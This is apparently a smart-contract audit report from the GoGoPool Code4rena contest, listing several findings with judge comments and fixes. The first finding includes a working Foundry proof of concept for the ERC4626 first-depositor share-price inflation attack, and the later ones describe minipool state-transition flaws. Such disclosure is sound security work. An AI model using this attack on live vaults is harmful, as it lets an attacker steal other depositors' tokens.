GoGoPool contest - datapunk's results

Judge has assessed an item in Issue #819 as M risk. The relevant finding follows:

Scenarios 3 & 4 are basically the same and valid. Duplicate of #569

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L120-L124

Vulnerability details

Impact

asset can be stolen from depositors in the vault by manipulating the price of a share.

Proof of Concept

ERC4626 vaults are subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors (this is a known issue of Solmate's ERC4626 implementation). Consider this scenario (this is applicable to ERC4626Upgradeable):

Alice is the first depositor of the vault; Alice deposits 1 wei of asset tokens; in the deposit function (ERC4626Upgradeable.sol#L44), the amount of shares is calculated using the previewDeposit function: function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); }

function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.

return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());

} since Alice is the first depositor (totalSupply is 0), she gets 1 share (1 wei); Alice then sends 9999999999999999999 asset tokens (10e18 - 1) to the vault; the price of 1 share is 10 asset tokens now: Alice is the only depositor in the vault, she's holding 1 wei of shares, and the balance of the pool is 10 asset tokens;

The fact, that rewards are streamed in rears, mitigate the issue, as Alice needs to wait for 28 days, before the transferred asset is fully reflected in totalReleasedAssets.

Now Bob deposits 19 asset tokens and gets only 1 share due to the rounding in the convertToShares function: 19e18 * 1 / 10e18 == 1; Alice redeems her share and gets a half of the deposited assets, 14.5 asset tokens (less the withdrawal fee); Bob redeems his share and gets only 14.5 asset (less the withdrawal fee), instead of the 19 asset he deposited.

// test/ERC20Upgradeable.t.sol
	function testSharePriceManipulation_AUDIT() external {
		address alice = address(0x31337);
		address bob = address(0x12345);
		vm.label(alice, "Alice");
		vm.label(bob, "Bob");


        
		wavax.mint(alice, 10e18);
		wavax.mint(bob, 19e18);

		vm.startPrank(alice);
		wavax.approve(address(ggAVAX), 1);
		// Alice deposits 1 wei of wavax and gets 1 wei of shares.
		ggAVAX.deposit(1, alice);
		// Alice sends 10e18-1 of wavax and sets the price of 1 wei of shares to 10e18 wavax.
		wavax.transfer(address(ggAVAX), 10e18-1);
		vm.stopPrank();

		vm.warp(block.timestamp + 14 days);
		ggAVAX.syncRewards();
		vm.warp(block.timestamp + 14 days);
        ggAVAX.syncRewards();
        
		vm.startPrank(bob);
		wavax.approve(address(ggAVAX), 19e18);
		// Bob deposits 19e18 of wavax and gets 1 wei of shares due to rounding and the price manipulation.
		ggAVAX.deposit(19e18, bob);
		vm.stopPrank();

		// Alice and Bob redeem their shares.           
		vm.prank(alice);
		ggAVAX.redeem(1, alice, alice);
		vm.prank(bob);
		ggAVAX.redeem(1, bob, bob);

		// Alice and Bob both got 14.5 wavax.
		// But Alice deposited 10 wavax and Bob deposited 19 wavax – thus, Alice stole wavax tokens from Bob.
		// With withdrawal fees enabled, Alice would've been penalized more than Bob
		// (14.065 wavax vs 14.935 wavax tokens withdrawn, respectively),
		// but Alice would've still gotten more wavax that she deposited.
		assertEq(wavax.balanceOf(alice), 14.5e18);
		assertEq(wavax.balanceOf(bob), 14.5e18);
	}

Tools Used

Manual review

Recommended Mitigation Steps

Consider either of these options:

1. In the deposit function of TokenggAVAX, consider requiring a reasonably high minimal amount of assets during first deposit. The amount needs to be high enough to mint many shares to reduce the rounding error and low enough to be affordable to users.
2. On the first deposit, consider minting a fixed and high amount of shares, irrespective of the deposited amount.
3. Consider seeding the pools during deployment. This needs to be done in the deployment transactions to avoiding front-running attacks. The amount needs to be high enough to reduce the rounding error.
4. Consider sending first 1000 wei of shares to the zero address. This will significantly increase the cost of the attack by forcing an attacker to pay 1000 times of the share price they want to set. For a well-intended user, 1000 wei of shares is a negligible amount that won't diminish their share significantly.

Judge has assessed an item in Issue #819 as M risk. The relevant finding follows:

If we are going with this specific impact, looks like scenario 2 is valid - but does depend on Rialto making that mistake, so would say that is Medium. This is a duplicate, the primary issue being #723

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L287 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L445 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L646

Vulnerability details

Impact

restake phantom avaxNodeOpAmt

Proof of Concept

withdrawMinipoolFunds()/cancelMinipoolByMultisig() transitions MinipoolStatus.Finished/Cancelled, but does not set ".avaxNodeOpAmt" and ".avaxNodeOpRewardAmt" to 0 requireValidStateTransition() allows the transition allows to go from Finished/Cancelled to Prelaunch, thus recreateMinipool() can be called, which will then use stakes that had been withdrawn.

Tools Used

Recommended Mitigation Steps

In withdrawMinipoolFunds, set ".avaxNodeOpAmt" and ".avaxNodeOpRewardAmt" to 0.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L425 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L382 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Vault.sol#L183

Vulnerability details

Title

slash will fail if vault does not have enough ggp to cover calculated GGPSlashAmt

Impact

If vault does not have enough ggp to cover calculated GGPSlashAmt, slash will revert, as result, minipool will not receive any compensation for failed validators.

Proof of Concept

MinipoolManager calculates slashGGPAmt based on avaxLiquidStakerAmt, duration, ExpectedAVAXRewardsRate and most recent oracle.getGGPPriceInAVAX() value. The minimum amount ggp required for Staking is determined by avaxLiquidStakerAmt, dao.getMinCollateralizationRatio(), and then oracle.getGGPPriceInAVAX(). There is nothing that guarantees that the former is greater than the latter, so a revert of vault.transferToken("ProtocolDAO", ggp, ggpAmt); in slashGGP() is possible.

Tools Used

manual

Recommended Mitigation Steps

When not enough, slash should just take whatever available in the vault from the owner.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L480 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L152

Vulnerability details

Impact

If the system is allowed to transition into MinipoolStatus.Error state, after recordStakingStart() has been called, whatever staking reward that might have been accumulated will not be recoverable to the skater.

Proof of Concept

The comment for recordStakingError() says: A staking error occured while registering the node as a validator

However, requireValidStateTransition() also allows the transition to MinipoolStatus.Error from MinipoolStatus.Staking after recordStakingStart() is called.

Once in Error state, the only next transitionable states are Finished or Prelaunch. In both cases, there are no ways for the recovery of any potential staking reward that might have been accumulated during the duration.

Tools Used

manual

Recommended Mitigation Steps

Disable the transition from MinipoolStatus.Staking to MinipoolStatus.Error.

} else if (currentStatus == MinipoolStatus.Staking) {
    isValid = (to == MinipoolStatus.Withdrawable;
}

Judge has assessed an item in Issue #836 as 2 risk. The relevant finding follows:

Underflow error when redeeming to 0 after minting some rewards